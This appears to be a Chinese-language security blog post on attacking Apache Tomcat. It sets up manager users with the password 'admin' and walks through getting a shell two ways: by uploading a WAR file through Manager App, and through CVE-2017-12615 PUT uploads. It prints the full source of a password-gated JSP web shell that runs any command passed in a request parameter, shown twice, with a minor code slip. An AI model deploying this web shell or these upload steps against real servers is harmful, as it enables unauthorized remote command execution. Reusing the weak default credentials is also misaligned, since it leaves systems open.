Tomcat 安全问题

前言

最近遇到客户的很多系统使用Tomcat服务器，于是科普一下关于Tomcat漏洞的知识。

Tomcat 简介

Tomcat

百科：Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。

下载需要的版本，windows下，启动\bin\startup.bat，默认端口是8080，通过修改\conf\server.xml配置文件，改变默认端口为8000。

–>

访问http://127.0.0.1:8000/

可以看到右边有三个选项

Server Status
Manager App
Host Manager

点击访问一下。

提示输入用户名和密码。需要将进行配置才能输入进入管理界面。

看到需要配置conf/tomcat-users.xml文件。四种不同的角色权限。

manager-gui - allows access to the HTML GUI and the status pages
manager-script - allows access to the text interface and the status pages
manager-jmx - allows access to the JMX proxy and the status pages
manager-status - allows access to the status pages only

这篇文章写的很好。# Tomcat Manager用户配置详解http://www.365mini.com/page/tomcat-manager-user-configuration.htm

Tomcat Manager是Tomcat自带的、用于对Tomcat自身以及部署在Tomcat上的应用进行管理的web应用。Tomcat是Java领域使用最广泛的服务器之一，因此Tomcat Manager也成为了使用非常普遍的功能应用。

在默认情况下，Tomcat Manager是处于禁用状态的。准确地说，Tomcat Manager需要以用户角色进行登录并授权才能使用相应的功能，不过Tomcat并没有配置任何默认的用户，因此需要我们进行相应的用户配置之后才能使用Tomcat Manager。

在conf/tomcat-users.xml添加以下内容，重启服务。

<role rolename="admin"/>  
<role rolename="admin-gui"/>  
<role rolename="admin-script"/>  
<role rolename="manager-gui"/>  
<role rolename="manager-script"/>  
<role rolename="manager-jmx"/>  
<role rolename="manager-status"/>  
<user username="admin" password="admin" roles="admin,admin-gui,admin-script,manager-gui,manager-script,manager-jmx,manager-status"/>

再次访问，输入用户名和密码，就可以进来了。

Tomcat getshell 1

既然进来了，就要考虑怎么getshell。

选择Manager App

上传War包

先将jsp马压缩为zip，再将zip后缀改名为war，然后上传war包。

本次上传的为xima.jsp。

<%  
if("023".equals(request.getParameter("pwd"))){  
 java.io.InputStream in =   
 Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
 int a = -1;  
 byte[] b = new byte[2048];  
 out.print("<pre>");  
 while((a=in.read(b)) !=1){  
 out.println(new String(b));  
 }  
 out.print("</pre>");  
}  
%>

Tomcat CVE-2017-12615 Getshell

影响版本：7.0.0 to 7.0.79

默认配置不受影响。留后门利用的话，需要修改默认配置文件，如下。

修改配置文件 conf\server.xml

添加以下内容

readonly
false

漏洞利用条件

CVE-2017-12615 需要将readonly初始化参数由默认值设置为false。但是Tomcat7.x版本中的web.xml配置文件中没有readonly参数，需要手工添加，默认配置不受此漏洞影响。

版本–7.0.81

上传的时候出现，403禁止。。

版本–7.0.79

put请求，上传内容

访问

上传一木马

1
2


<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b)) !=1){ out.println(new String(b)); } out.print("</pre>"); } %>